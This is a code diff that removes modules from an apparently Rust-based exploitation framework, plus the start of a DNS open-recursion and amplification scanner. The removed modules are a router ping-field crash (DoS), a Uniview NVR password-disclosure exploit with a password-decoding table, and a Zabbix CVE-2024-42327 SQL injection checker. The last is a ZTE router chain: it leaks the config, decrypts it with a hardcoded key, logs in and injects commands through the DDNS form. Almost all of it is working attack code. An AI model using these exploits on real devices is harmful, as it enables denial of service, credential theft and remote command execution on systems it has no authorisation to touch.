async fn execute(ip: &str, port: u16, username: &str, password: &str) -> Result<()> {
|
||||
// Normalize the IP for correct URL formatting
|
||||
let ip = normalize_ip(ip);
|
||||
|
||||
// Create a crash pattern of exact 192 characters using "crash_crash_on_a_loop_"
|
||||
let crash_pattern = "crash_crash_on_a_loop_";
|
||||
let repeated = crash_pattern.repeat(9); // 9*22 = 198 > 192
|
||||
let payload = &repeated[..192]; // truncate to exact length
|
||||
|
||||
// Construct vulnerable URL
|
||||
let target_url = format!(
|
||||
"http://{ip}:{port}/userRpm/PingIframeRpm.htm?ping_addr={payload}&doType=ping&isNew=new&sendNum=4&pSize=64&overTime=800&trHops=20",
|
||||
ip = ip,
|
||||
port = port,
|
||||
payload = payload
|
||||
);
|
||||
|
||||
// Build basic auth header
|
||||
let credentials = format!("{username}:{password}");
|
||||
let encoded_credentials = general_purpose::STANDARD.encode(credentials.as_bytes());
|
||||
|
||||
// Prepare HTTP headers
|
||||
let mut headers = HeaderMap::new();
|
||||
headers.insert("Host", format!("{ip}:{port}", ip = ip, port = port).parse()?);
|
||||
headers.insert("Authorization", format!("Basic {}", encoded_credentials).parse()?);
|
||||
headers.insert("Upgrade-Insecure-Requests", "1".parse()?);
|
||||
headers.insert("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36".parse()?);
|
||||
headers.insert("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9".parse()?);
|
||||
headers.insert("Referer", format!("http://{ip}:{port}/userRpm/DiagnosticRpm.htm", ip = ip, port = port).parse()?);
|
||||
headers.insert("Accept-Encoding", "gzip, deflate".parse()?);
|
||||
headers.insert("Accept-Language", "en-US,en;q=0.9".parse()?);
|
||||
headers.insert("Connection", "close".parse()?);
|
||||
|
||||
let client = Client::builder()
|
||||
.default_headers(headers)
|
||||
.build()?;
|
||||
|
||||
let response = client.get(&target_url).send().await?;
|
||||
|
||||
if response.status().as_u16() == 200 {
|
||||
println!("[+] Server Crashed (200 OK received)");
|
||||
let body = response.text().await.unwrap_or_default();
|
||||
println!("{}", body);
|
||||
} else {
|
||||
println!(
|
||||
"[-] Script Completed with status code: {}",
|
||||
response.status()
|
||||
);
|
||||
}
|
||||
|
||||
// Check if the host is still up — timeout after 1 second
|
||||
match timeout(Duration::from_secs(1), TcpStream::connect((ip.trim_matches(&['[', ']'][..]), port))).await {
|
||||
Ok(Ok(_)) => {
|
||||
println!("[!] Target still responds on port {}. DoS likely failed.", port);
|
||||
}
|
||||
_ => {
|
||||
println!("[+] Target no longer reachable on port {} — likely crashed. Returning to menu.", port);
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Entry point required by auto-dispatch
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("Enter router port (default is 8082): ");
|
||||
let mut port_str = String::new();
|
||||
io::stdin().read_line(&mut port_str)?;
|
||||
let port: u16 = port_str.trim().parse().unwrap_or(8082);
|
||||
|
||||
println!("Enter username: ");
|
||||
let mut username = String::new();
|
||||
io::stdin().read_line(&mut username)?;
|
||||
let username = username.trim();
|
||||
|
||||
println!("Enter password: ");
|
||||
let mut password = String::new();
|
||||
io::stdin().read_line(&mut password)?;
|
||||
let password = password.trim();
|
||||
|
||||
execute(target, port, username, password).await
|
||||
}
|
||||
@@ -1 +0,0 @@
|
||||
pub mod uniview_nvr_pwd_disclosure;
|
||||
@@ -1,198 +0,0 @@
|
||||
use anyhow::{anyhow, Context, Result};
|
||||
use quick_xml::events::Event;
|
||||
use quick_xml::name::QName;
|
||||
use quick_xml::Reader;
|
||||
use reqwest::Client;
|
||||
use std::collections::HashMap;
|
||||
use std::fs::OpenOptions;
|
||||
use std::io::Write;
|
||||
use std::time::Duration;
|
||||
|
||||
/// Reverses the Uniview custom encoded password
|
||||
fn decode_pass(encoded: &str) -> String {
|
||||
let map: HashMap<&str, &str> = [
|
||||
("77","1"), ("78","2"), ("79","3"), ("72","4"), ("73","5"), ("74","6"),
|
||||
("75","7"), ("68","8"), ("69","9"), ("76","0"), ("93","!"), ("60","@"),
|
||||
("95","#"), ("88","$"), ("89","%"), ("34","^"), ("90","&"), ("86","*"),
|
||||
("84","("), ("85",")"), ("81","-"), ("35","_"), ("65","="), ("87","+"),
|
||||
("83","/"), ("32","\\"), ("0","|"), ("80",","), ("70",":"), ("71",";"),
|
||||
("7","{"), ("1","}"), ("82","."), ("67","?"), ("64","<"), ("66",">"),
|
||||
("2","~"), ("39","["), ("33","]"), ("94","\""), ("91","'"), ("28","`"),
|
||||
("61","A"), ("62","B"), ("63","C"), ("56","D"), ("57","E"), ("58","F"),
|
||||
("59","G"), ("52","H"), ("53","I"), ("54","J"), ("55","K"), ("48","L"),
|
||||
("49","M"), ("50","N"), ("51","O"), ("44","P"), ("45","Q"), ("46","R"),
|
||||
("47","S"), ("40","T"), ("41","U"), ("42","V"), ("43","W"), ("36","X"),
|
||||
("37","Y"), ("38","Z"), ("29","a"), ("30","b"), ("31","c"), ("24","d"),
|
||||
("25","e"), ("26","f"), ("27","g"), ("20","h"), ("21","i"), ("22","j"),
|
||||
("23","k"), ("16","l"), ("17","m"), ("18","n"), ("19","o"), ("12","p"),
|
||||
("13","q"), ("14","r"), ("15","s"), ("8","t"), ("9","u"), ("10","v"),
|
||||
("11","w"), ("4","x"), ("5","y"), ("6","z"),
|
||||
]
|
||||
.iter()
|
||||
.cloned()
|
||||
.collect();
|
||||
|
||||
encoded
|
||||
.split(';')
|
||||
.filter_map(|c| if c == "124" { None } else { map.get(c).copied() })
|
||||
.collect()
|
||||
}
|
||||
|
||||
/// Strip any number of nested brackets and re-wrap once if IPv6
|
||||
fn normalize_target(raw: &str) -> String {
|
||||
// Preserve or default to http://
|
||||
let (scheme, after) = if let Some(s) = raw.strip_prefix("http://") {
|
||||
("http://", s)
|
||||
} else if let Some(s) = raw.strip_prefix("https://") {
|
||||
("https://", s)
|
||||
} else {
|
||||
("http://", raw)
|
||||
};
|
||||
|
||||
// Split authority vs path
|
||||
let (auth, path) = match after.find('/') {
|
||||
Some(i) => (&after[..i], &after[i..]),
|
||||
None => (after, ""),
|
||||
};
|
||||
|
||||
// Separate host_part and port_part
|
||||
let (host_part, port_part) = if auth.starts_with('[') {
|
||||
if let Some(pos) = auth.rfind(']') {
|
||||
(&auth[..=pos], &auth[pos + 1..])
|
||||
} else {
|
||||
(auth, "")
|
||||
}
|
||||
} else if auth.matches(':').count() > 1 {
|
||||
// IPv6 without brackets
|
||||
(auth, "")
|
||||
} else if let Some(pos) = auth.rfind(':') {
|
||||
// IPv4 or hostname with port
|
||||
(&auth[..pos], &auth[pos..])
|
||||
} else {
|
||||
(auth, "")
|
||||
};
|
||||
|
||||
// Peel away *all* outer brackets
|
||||
let mut inner = host_part;
|
||||
while inner.starts_with('[') && inner.ends_with(']') {
|
||||
inner = &inner[1..inner.len() - 1];
|
||||
}
|
||||
|
||||
// If it looks like IPv6, re-wrap exactly once
|
||||
let wrapped = if inner.contains(':') {
|
||||
format!("[{}]", inner)
|
||||
} else {
|
||||
inner.to_string()
|
||||
};
|
||||
|
||||
format!("{}{}{}{}", scheme, wrapped, port_part, path)
|
||||
}
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("\nUniview NVR remote passwords disclosure!");
|
||||
println!("Author: B1t (ported to Rust)\n");
|
||||
|
||||
// Normalize URL (scheme, IPv6 brackets, port, path)
|
||||
let target = normalize_target(target);
|
||||
|
||||
let client = Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(Duration::from_secs(10))
|
||||
.build()
|
||||
.context("Failed to build HTTP client")?;
|
||||
|
||||
// Fetch version info
|
||||
println!("[+] Getting model name and software version...");
|
||||
let version_url = format!("{}/cgi-bin/main-cgi?json={{\"cmd\":116}}", target);
|
||||
let version_text = client
|
||||
.get(&version_url)
|
||||
.send().await?
|
||||
.text().await
|
||||
.context("Failed to fetch version")?;
|
||||
|
||||
let model = version_text
|
||||
.split("szDevName\":\"")
|
||||
.nth(1)
|
||||
.and_then(|s| s.split('"').next())
|
||||
.unwrap_or("Unknown");
|
||||
let sw_ver = version_text
|
||||
.split("szSoftwareVersion\":\"")
|
||||
.nth(1)
|
||||
.and_then(|s| s.split('"').next())
|
||||
.unwrap_or("Unknown");
|
||||
|
||||
println!("Model: {}", model);
|
||||
println!("Software Version: {}", sw_ver);
|
||||
|
||||
// Prepare log file
|
||||
let mut log = OpenOptions::new()
|
||||
.create(true)
|
||||
.append(true)
|
||||
.open("nvr-success.txt")
|
||||
.context("Unable to open nvr-success.txt")?;
|
||||
|
||||
writeln!(log, "\n==== Uniview NVR ====").ok();
|
||||
writeln!(log, "Target: {}", target).ok();
|
||||
writeln!(log, "Model: {}", model).ok();
|
||||
writeln!(log, "Software Version: {}", sw_ver).ok();
|
||||
|
||||
// Fetch user config
|
||||
println!("\n[+] Getting configuration file...");
|
||||
let config_url = format!(
|
||||
"{}/cgi-bin/main-cgi?json={{\"cmd\":255,\"szUserName\":\"\",\"u32UserLoginHandle\":8888888888}}",
|
||||
target
|
||||
);
|
||||
let config_text = client
|
||||
.get(&config_url)
|
||||
.send().await?
|
||||
.text().await
|
||||
.context("Failed to fetch config")?;
|
||||
|
||||
// XML reader with trimmed text
|
||||
let mut reader = Reader::from_str(&config_text);
|
||||
reader.config_mut().trim_text(true);
|
||||
|
||||
let mut buf = Vec::new();
|
||||
let mut total_users = 0;
|
||||
|
||||
println!("\nUser | Stored Hash | Reversible Password");
|
||||
println!("{}", "_".repeat(80));
|
||||
writeln!(log, "\nUser | Stored Hash | Reversible Password").ok();
|
||||
writeln!(log, "{}", "_".repeat(80)).ok();
|
||||
|
||||
loop {
|
||||
match reader.read_event_into(&mut buf) {
|
||||
Ok(Event::Empty(ref e)) if e.name() == QName(b"User") => {
|
||||
let mut username = String::new();
|
||||
let mut user_hash = String::new();
|
||||
let mut revpass = String::new();
|
||||
|
||||
for attr in e.attributes().flatten() {
|
||||
match attr.key {
|
||||
k if k == QName(b"UserName") => username = std::str::from_utf8(&attr.value)?.to_string(),
|
||||
k if k == QName(b"UserPass") => user_hash = std::str::from_utf8(&attr.value)?.to_string(),
|
||||
k if k == QName(b"RvsblePass") => revpass = std::str::from_utf8(&attr.value)?.to_string(),
|
||||
_ => {}
|
||||
}
|
||||
}
|
||||
|
||||
let decoded = decode_pass(&revpass);
|
||||
println!("{:<9}| {:<38}| {}", username, user_hash, decoded);
|
||||
writeln!(log, "{:<9}| {:<38}| {}", username, user_hash, decoded).ok();
|
||||
|
||||
total_users += 1;
|
||||
}
|
||||
Ok(Event::Eof) => break,
|
||||
Err(e) => return Err(anyhow!("XML parse error: {}", e)),
|
||||
_ => {}
|
||||
}
|
||||
buf.clear();
|
||||
}
|
||||
|
||||
println!("\n[+] Total users: {}", total_users);
|
||||
writeln!(log, "\n[+] Total users: {}", total_users).ok();
|
||||
println!("\n*Note: 'default' and 'HAUser' users may not be accessible remotely.*\n");
|
||||
writeln!(log, "\n*Note: 'default' and 'HAUser' users may not be accessible remotely.*\n").ok();
|
||||
|
||||
Ok(())
|
||||
}
|
||||
@@ -1 +0,0 @@
|
||||
pub mod zabbix_7_0_0_sql_injection;
|
||||
@@ -1,159 +0,0 @@
|
||||
use anyhow::{anyhow, Result};
|
||||
use reqwest::Client;
|
||||
use serde_json::json;
|
||||
use std::fs;
|
||||
use std::io::{self, Write};
|
||||
|
||||
const HEADERS: &str = "application/json";
|
||||
|
||||
// Internal function renamed to `exploit_zabbix` to avoid conflicts
|
||||
async fn exploit_zabbix(api_url: &str, username: &str, password: &str, _payload: &str) -> Result<()> {
|
||||
let client = Client::new();
|
||||
let url = format!("{}/api_jsonrpc.php", api_url.trim_end_matches('/'));
|
||||
|
||||
// // Login to get the token
|
||||
let login_data = json!({
|
||||
"jsonrpc": "2.0",
|
||||
"method": "user.login",
|
||||
"params": {
|
||||
"username": username,
|
||||
"password": password
|
||||
},
|
||||
"id": 1,
|
||||
"auth": null
|
||||
});
|
||||
|
||||
let login_response = client
|
||||
.post(&url)
|
||||
.header("Content-Type", HEADERS)
|
||||
.json(&login_data)
|
||||
.send()
|
||||
.await
|
||||
.map_err(|e| anyhow!("Login request error: {}", e))?;
|
||||
|
||||
let login_response_json: serde_json::Value = login_response
|
||||
.json()
|
||||
.await
|
||||
.map_err(|e| anyhow!("Failed to parse login response: {}", e))?;
|
||||
|
||||
let auth_token = login_response_json
|
||||
.get("result")
|
||||
.ok_or_else(|| anyhow!("Failed to retrieve auth token"))?
|
||||
.as_str()
|
||||
.ok_or_else(|| anyhow!("Auth token not a string"))?
|
||||
.to_string();
|
||||
|
||||
// // SQLi test using the provided payload
|
||||
let sqli_data = json!({
|
||||
"jsonrpc": "2.0",
|
||||
"method": "user.get",
|
||||
"params": {
|
||||
"selectRole": ["roleid", "name", "type", "readonly AND (SELECT(SLEEP(5)))"],
|
||||
"userids": ["1", "2"]
|
||||
},
|
||||
"id": 1,
|
||||
"auth": auth_token
|
||||
});
|
||||
|
||||
let test_response = client
|
||||
.post(&url)
|
||||
.header("Content-Type", HEADERS)
|
||||
.json(&sqli_data)
|
||||
.send()
|
||||
.await
|
||||
.map_err(|e| anyhow!("Test request error: {}", e))?;
|
||||
|
||||
let test_response_text = test_response
|
||||
.text()
|
||||
.await
|
||||
.map_err(|e| anyhow!("Failed to read test response: {}", e))?;
|
||||
|
||||
if test_response_text.contains("\"error\"") {
|
||||
println!("[-] NOT VULNERABLE.");
|
||||
} else {
|
||||
println!("[!] VULNERABLE.");
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
// Prompt user to choose a payload option
|
||||
async fn get_payload_choice() -> Result<String> {
|
||||
println!("Choose SQL payload option:");
|
||||
println!("1: Load SQL payloads from file");
|
||||
println!("2: Enter custom SQL payload");
|
||||
println!("3: Use default SQL payload");
|
||||
|
||||
let mut choice = String::new();
|
||||
print!("Enter your choice (1/2/3): ");
|
||||
io::stdout().flush().unwrap();
|
||||
io::stdin()
|
||||
.read_line(&mut choice)
|
||||
.map_err(|e| anyhow!("Failed to read choice: {}", e))?;
|
||||
|
||||
let choice = choice.trim();
|
||||
|
||||
match choice {
|
||||
"1" => {
|
||||
// Load from a file (e.g., sql_payloads.txt)
|
||||
println!("Loading SQL payloads from file...");
|
||||
let payloads = fs::read_to_string("sql_payloads.txt")
|
||||
.map_err(|e| anyhow!("Error reading payload file: {}", e))?;
|
||||
Ok(payloads.trim().to_string())
|
||||
}
|
||||
"2" => {
|
||||
// Allow user to input a custom payload
|
||||
println!("Enter your custom SQL payload (do not include the SELECT statement, only the payload part): ");
|
||||
let mut custom_payload = String::new();
|
||||
io::stdout().flush().unwrap();
|
||||
io::stdin()
|
||||
.read_line(&mut custom_payload)
|
||||
.map_err(|e| anyhow!("Failed to read custom payload: {}", e))?;
|
||||
|
||||
let custom_payload = custom_payload.trim();
|
||||
|
||||
// Ensure the custom payload isn't empty
|
||||
if custom_payload.is_empty() {
|
||||
return Err(anyhow!("Custom payload cannot be empty. Please enter a valid payload."));
|
||||
}
|
||||
|
||||
Ok(custom_payload.to_string())
|
||||
}
|
||||
"3" => {
|
||||
// Use a default payload
|
||||
println!("Using default SQL payload...");
|
||||
Ok("readonly AND (SELECT(SLEEP(5)))".to_string())
|
||||
}
|
||||
_ => Err(anyhow!("Invalid choice, please select 1, 2, or 3.")),
|
||||
}
|
||||
}
|
||||
|
||||
// Public dispatch entry point
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("[*] Zabbix 7.0.0 SQL Injection Checker (CVE-2024-42327)");
|
||||
println!("[*] Target API URL: {}", target);
|
||||
|
||||
let mut username = String::new();
|
||||
let mut password = String::new();
|
||||
|
||||
print!("Username: ");
|
||||
io::stdout().flush().unwrap();
|
||||
io::stdin()
|
||||
.read_line(&mut username)
|
||||
.map_err(|e| anyhow!("Failed to read username: {}", e))?;
|
||||
|
||||
print!("Password: ");
|
||||
io::stdout().flush().unwrap();
|
||||
io::stdin()
|
||||
.read_line(&mut password)
|
||||
.map_err(|e| anyhow!("Failed to read password: {}", e))?;
|
||||
|
||||
let username = username.trim();
|
||||
let password = password.trim();
|
||||
|
||||
// Get the payload choice from the user
|
||||
let payload = get_payload_choice().await?;
|
||||
|
||||
// Run the exploit with the selected payload
|
||||
exploit_zabbix(target, username, password, &payload).await
|
||||
}
|
||||
@@ -1 +0,0 @@
|
||||
pub mod zte_zxv10_h201l_rce_authenticationbypass;
|
||||
@@ -1,230 +0,0 @@
|
||||
use aes::Aes128;
|
||||
use anyhow::Result;
|
||||
use cipher::{BlockDecrypt, KeyInit, Block};
|
||||
use colored::*;
|
||||
use reqwest::{Client, cookie::Jar};
|
||||
use std::{
|
||||
fs::{self, File},
|
||||
io::{Read, Write},
|
||||
net::TcpStream,
|
||||
sync::Arc,
|
||||
};
|
||||
use tokio::time::Duration;
|
||||
use std::net::ToSocketAddrs;
|
||||
|
||||
|
||||
|
||||
/// AES-128 ECB decrypt without padding
|
||||
fn decrypt_ecb_nopad(data: &[u8], key: &[u8]) -> Result<Vec<u8>> {
|
||||
if data.len() % 16 != 0 {
|
||||
anyhow::bail!("ECB decryption requires block-aligned data");
|
||||
}
|
||||
|
||||
let cipher = Aes128::new_from_slice(key)?;
|
||||
let mut output = Vec::with_capacity(data.len());
|
||||
|
||||
for chunk in data.chunks(16) {
|
||||
let mut arr = [0u8; 16];
|
||||
arr.copy_from_slice(chunk);
|
||||
let mut block = Block::<Aes128>::from(arr);
|
||||
cipher.decrypt_block(&mut block);
|
||||
output.extend_from_slice(&block);
|
||||
}
|
||||
|
||||
Ok(output)
|
||||
}
|
||||
|
||||
/// Extract host and port from target
|
||||
fn parse_target(target: &str) -> Result<(String, u16)> {
|
||||
if target.contains("]:") {
|
||||
let parts: Vec<&str> = target.rsplitn(2, "]:").collect();
|
||||
let port = parts[0].parse::<u16>()?;
|
||||
let host = parts[1].trim_start_matches('[').to_string();
|
||||
return Ok((host, port));
|
||||
} else if target.contains(':') {
|
||||
let parts: Vec<&str> = target.splitn(2, ':').collect();
|
||||
let port = parts[1].parse::<u16>()?;
|
||||
return Ok((parts[0].to_string(), port));
|
||||
}
|
||||
|
||||
print!("{}", "[?] No port provided. Enter port: ".cyan().bold());
|
||||
std::io::stdout().flush()?;
|
||||
let mut input = String::new();
|
||||
std::io::stdin().read_line(&mut input)?;
|
||||
let port = input.trim().parse::<u16>()?;
|
||||
Ok((target.to_string(), port))
|
||||
}
|
||||
|
||||
/// Leak the router config file
|
||||
fn leak_config(host: &str, port: u16) -> Result<()> {
|
||||
println!("[*] Leaking config from http://{}:{}/ ...", host, port);
|
||||
|
||||
// Resolve and connect with timeout
|
||||
let addr = (host, port)
|
||||
.to_socket_addrs()?
|
||||
.next()
|
||||
.ok_or_else(|| anyhow::anyhow!("Could not resolve address"))?;
|
||||
let timeout = Duration::from_secs(5);
|
||||
let mut conn = TcpStream::connect_timeout(&addr, timeout)?;
|
||||
|
||||
let boundary = "----WebKitFormBoundarysQuwz2s3PjXAakFJ";
|
||||
let body = format!(
|
||||
"--{}\r\nContent-Disposition: form-data; name=\"config\"\r\n\r\n\r\n--{}--\r\n",
|
||||
boundary, boundary
|
||||
);
|
||||
|
||||
let request = format!(
|
||||
"POST /getpage.gch?pid=101 HTTP/1.1\r\n\
|
||||
Host: {}:{}\r\n\
|
||||
Content-Type: multipart/form-data; boundary={}\r\n\
|
||||
Content-Length: {}\r\n\
|
||||
Connection: close\r\n\r\n{}",
|
||||
host, port, boundary, body.len(), body
|
||||
);
|
||||
|
||||
conn.write_all(request.as_bytes())?;
|
||||
|
||||
let mut response = vec![];
|
||||
conn.read_to_end(&mut response)?;
|
||||
if let Some(start) = response.windows(4).position(|w| w == b"\r\n\r\n") {
|
||||
let body = &response[start + 4..];
|
||||
File::create("config.bin")?.write_all(body)?;
|
||||
}
|
||||
|
||||
println!("[+] Config saved to config.bin");
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Decrypt config and extract credentials
|
||||
fn decrypt_config(config_key: &[u8]) -> Result<(String, String)> {
|
||||
let mut encrypted = File::open("config.bin")?;
|
||||
let mut data = vec![];
|
||||
encrypted.read_to_end(&mut data)?;
|
||||
|
||||
let mut key16 = [0u8; 16];
|
||||
key16[..config_key.len().min(16)].copy_from_slice(&config_key[..config_key.len().min(16)]);
|
||||
|
||||
let decrypted = decrypt_ecb_nopad(&data, &key16)?;
|
||||
fs::write("decrypted.xml", &decrypted)?;
|
||||
|
||||
let xml = fs::read_to_string("decrypted.xml")?;
|
||||
let username = xml.split("IGD.AU2").nth(1)
|
||||
.and_then(|s| s.split("User").nth(1))
|
||||
.and_then(|s| s.split("val=\"").nth(1))
|
||||
.and_then(|s| s.split('"').next())
|
||||
.unwrap_or("unknown")
|
||||
.to_string();
|
||||
|
||||
let password = xml.split("IGD.AU2").nth(1)
|
||||
.and_then(|s| s.split("Pass").nth(1))
|
||||
.and_then(|s| s.split("val=\"").nth(1))
|
||||
.and_then(|s| s.split('"').next())
|
||||
.unwrap_or("unknown")
|
||||
.to_string();
|
||||
|
||||
fs::remove_file("config.bin").ok();
|
||||
fs::remove_file("decrypted.xml").ok();
|
||||
|
||||
println!("[+] Decrypted credentials: {} / {}", username, password);
|
||||
Ok((username, password))
|
||||
}
|
||||
|
||||
/// Perform login
|
||||
async fn login(session: &Client, host: &str, port: u16, username: &str, password: &str) -> Result<()> {
|
||||
println!("[*] Logging in to http://{}:{}/ ...", host, port);
|
||||
let url = format!("http://{}:{}/", host, port);
|
||||
let page = session.get(&url).send().await?.text().await?;
|
||||
|
||||
let token = page.split("getObj(\"Frm_Logintoken\").value = \"").nth(1)
|
||||
.and_then(|s| s.split('"').next())
|
||||
.ok_or_else(|| anyhow::anyhow!("Login token not found"))?;
|
||||
|
||||
let params = [
|
||||
("Username", username),
|
||||
("Password", password),
|
||||
("frashnum", ""),
|
||||
("Frm_Logintoken", token),
|
||||
];
|
||||
|
||||
session.post(&url).form(¶ms).send().await?;
|
||||
println!("[+] Login submitted.");
|
||||
Ok(())
|
||||
}
|
||||
|
||||
|
||||
/// Logout
|
||||
async fn logout(session: &Client, host: &str, port: u16) -> Result<()> {
|
||||
let url = format!("http://{}:{}/", host, port);
|
||||
session.post(&url).form(&[("logout", "1")]).send().await?;
|
||||
println!("[*] Logged out.");
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Command injection payload generator
|
||||
fn command_injection(cmd: &str) -> String {
|
||||
let inj = format!("user;{};echo", cmd);
|
||||
inj.replace(" ", "${IFS}")
|
||||
}
|
||||
|
||||
/// Abuse DDNS form to inject command
|
||||
async fn set_ddns(session: &Client, host: &str, port: u16, payload: &str) -> Result<()> {
|
||||
let url = format!(
|
||||
"http://{}:{}/getpage.gch?pid=1002&nextpage=app_ddns_conf_t.gch",
|
||||
host, port
|
||||
);
|
||||
|
||||
let form = [
|
||||
("IF_ACTION", "apply"), ("Name", "dyndns"),
|
||||
("Server", "http://www.dyndns.com/"), ("Username", payload),
|
||||
("Password", "password"), ("Interface", "IGD.WD1.WCD3.WCIP1"),
|
||||
("DomainName", "hostname"), ("Service", "dyndns"),
|
||||
("Name0", "dyndns"), ("Server0", "http://www.dyndns.com/"),
|
||||
("ServerPort0", "80"), ("UpdateInterval0", "86400"),
|
||||
("RetryInterval0", "60"), ("MaxRetries0", "3"),
|
||||
("Name1", "No-IP"), ("Server1", "http://www.noip.com/"),
|
||||
("ServerPort1", "80"), ("UpdateInterval1", "86400"),
|
||||
("RetryInterval1", "60"), ("MaxRetries1", "3"),
|
||||
("Enable", "1"), ("HostNumber", "")
|
||||
];
|
||||
|
||||
println!("[*] Sending command injection payload...");
|
||||
session.post(&url).form(&form).send().await?;
|
||||
println!("[+] Payload delivered.");
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Exploit wrapper
|
||||
async fn exploit(config_key: &[u8], host: &str, port: u16) -> Result<()> {
|
||||
let cookie_jar = Arc::new(Jar::default());
|
||||
let session = Client::builder()
|
||||
.cookie_provider(cookie_jar)
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(Duration::from_secs(10)) // ⏱️ HTTP timeout
|
||||
.build()?;
|
||||
|
||||
leak_config(host, port)?;
|
||||
let (username, password) = decrypt_config(config_key)?;
|
||||
login(&session, host, port, &username, &password).await?;
|
||||
let payload = command_injection("echo hacked > /var/tmp/pwned");
|
||||
set_ddns(&session, host, port, &payload).await?;
|
||||
logout(&session, host, port).await?;
|
||||
println!("[✓] Exploit complete.");
|
||||
Ok(())
|
||||
}
|
||||
|
||||
|
||||
/// Dispatch entry point
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
let (host, port) = parse_target(target)?;
|
||||
let config_key = b"Renjx%2$CjM";
|
||||
match exploit(config_key, &host, port).await {
|
||||
Ok(_) => {
|
||||
println!("[*] Success on {}:{}", host, port);
|
||||
Ok(())
|
||||
}
|
||||
Err(e) => {
|
||||
println!("[!] Exploit failed: {}", e);
|
||||
Err(e)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,3 +0,0 @@
|
||||
pub mod exploits;
|
||||
pub mod scanners;
|
||||
pub mod creds;
|
||||
@@ -1,635 +0,0 @@
|
||||
use anyhow::{anyhow, Context, Result};
|
||||
use colored::*;
|
||||
use rand::Rng;
|
||||
use std::collections::HashSet;
|
||||
use std::fs::File;
|
||||
use std::io::{self, BufRead, BufReader, Write};
|
||||
use std::net::{IpAddr, SocketAddr, ToSocketAddrs};
|
||||
use std::path::Path;
|
||||
use std::time::Duration;
|
||||
use trust_dns_client::client::{AsyncClient, ClientHandle};
|
||||
use trust_dns_client::proto::op::ResponseCode;
|
||||
use trust_dns_client::rr::{DNSClass, Name, RecordType};
|
||||
use trust_dns_client::udp::UdpClientStream;
|
||||
use trust_dns_proto::op::Message;
|
||||
use trust_dns_proto::xfer::DnsResponse;
|
||||
use tokio::net::UdpSocket;
|
||||
|
||||
#[derive(Clone, Debug)]
|
||||
struct TargetSpec {
|
||||
input: String,
|
||||
host: String,
|
||||
port: Option<u16>,
|
||||
}
|
||||
|
||||
/// Scan DNS resolvers for open recursion with improved input validation.
|
||||
pub async fn run(initial_target: &str) -> Result<()> {
|
||||
println!("\n=== DNS Recursion & Amplification Scanner ===");
|
||||
|
||||
let mut targets = collect_targets(initial_target)?;
|
||||
if targets.is_empty() {
|
||||
return Err(anyhow!(
|
||||
"No valid targets provided. Supply at least one IP/hostname."
|
||||
));
|
||||
}
|
||||
|
||||
let needs_default_port = targets.iter().any(|t| t.port.is_none());
|
||||
let default_port = if needs_default_port {
|
||||
prompt_port("Default DNS port for targets without port", 53)?
|
||||
} else {
|
||||
53
|
||||
};
|
||||
|
||||
let default_domain = random_test_domain();
|
||||
let query_name_input = prompt_default("Domain to query", &default_domain)?;
|
||||
let query_name = validate_domain_input(&query_name_input)?;
|
||||
|
||||
let record_input =
|
||||
prompt_default("Record type (A, AAAA, ANY, DNSKEY, TXT, MX)", "ANY")?;
|
||||
let record_type = parse_record_type(&record_input)?;
|
||||
|
||||
println!(
|
||||
"[*] Prepared {} query for {} across {} target(s)",
|
||||
record_type,
|
||||
query_name,
|
||||
targets.len()
|
||||
);
|
||||
|
||||
let name = Name::from_str_relaxed(&query_name)
|
||||
.with_context(|| format!("Invalid domain name '{}'", query_name))?;
|
||||
|
||||
let mut any_success = false;
|
||||
let mut last_error: Option<anyhow::Error> = None;
|
||||
|
||||
for spec in targets.drain(..) {
|
||||
let port = spec.port.unwrap_or(default_port);
|
||||
let display = format_endpoint(&spec.host, port);
|
||||
println!(
|
||||
"\n[*] Processing target {} (input: {})",
|
||||
display.cyan(),
|
||||
spec.input
|
||||
);
|
||||
|
||||
match resolve_target(&spec.host, port).await {
|
||||
Ok((socket_addr, resolved_display)) => {
|
||||
println!("[*] Target resolver: {}", resolved_display);
|
||||
match query_target(socket_addr, &resolved_display, &name, record_type).await {
|
||||
Ok(()) => any_success = true,
|
||||
Err(err) => {
|
||||
eprintln!(
|
||||
"{}",
|
||||
format!("[!] Query failed for {}: {}", resolved_display, err).red()
|
||||
);
|
||||
last_error = Some(err);
|
||||
}
|
||||
}
|
||||
}
|
||||
Err(err) => {
|
||||
eprintln!(
|
||||
"{}",
|
||||
format!("[!] Failed to resolve {}: {}", spec.input, err).red()
|
||||
);
|
||||
last_error = Some(err);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if any_success {
|
||||
Ok(())
|
||||
} else {
|
||||
Err(last_error.unwrap_or_else(|| anyhow!("All targets failed.")))
|
||||
}
|
||||
}
|
||||
|
||||
async fn query_target(
|
||||
socket_addr: SocketAddr,
|
||||
display_target: &str,
|
||||
name: &Name,
|
||||
record_type: RecordType,
|
||||
) -> Result<()> {
|
||||
println!(
|
||||
"[*] Sending {} query (timeout 5s) to {}",
|
||||
record_type, display_target
|
||||
);
|
||||
|
||||
let timeout = Duration::from_secs(5);
|
||||
let stream = UdpClientStream::<UdpSocket>::with_timeout(socket_addr, timeout);
|
||||
let (mut client, bg) =
|
||||
AsyncClient::connect(stream).await.context("Failed to initiate DNS client")?;
|
||||
tokio::spawn(bg);
|
||||
|
||||
let response: DnsResponse = client
|
||||
.query(name.clone(), DNSClass::IN, record_type)
|
||||
.await
|
||||
.with_context(|| format!("DNS query to {} failed", display_target))?;
|
||||
|
||||
let (message, _) = response.into_parts();
|
||||
report_result(&message, display_target, record_type);
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
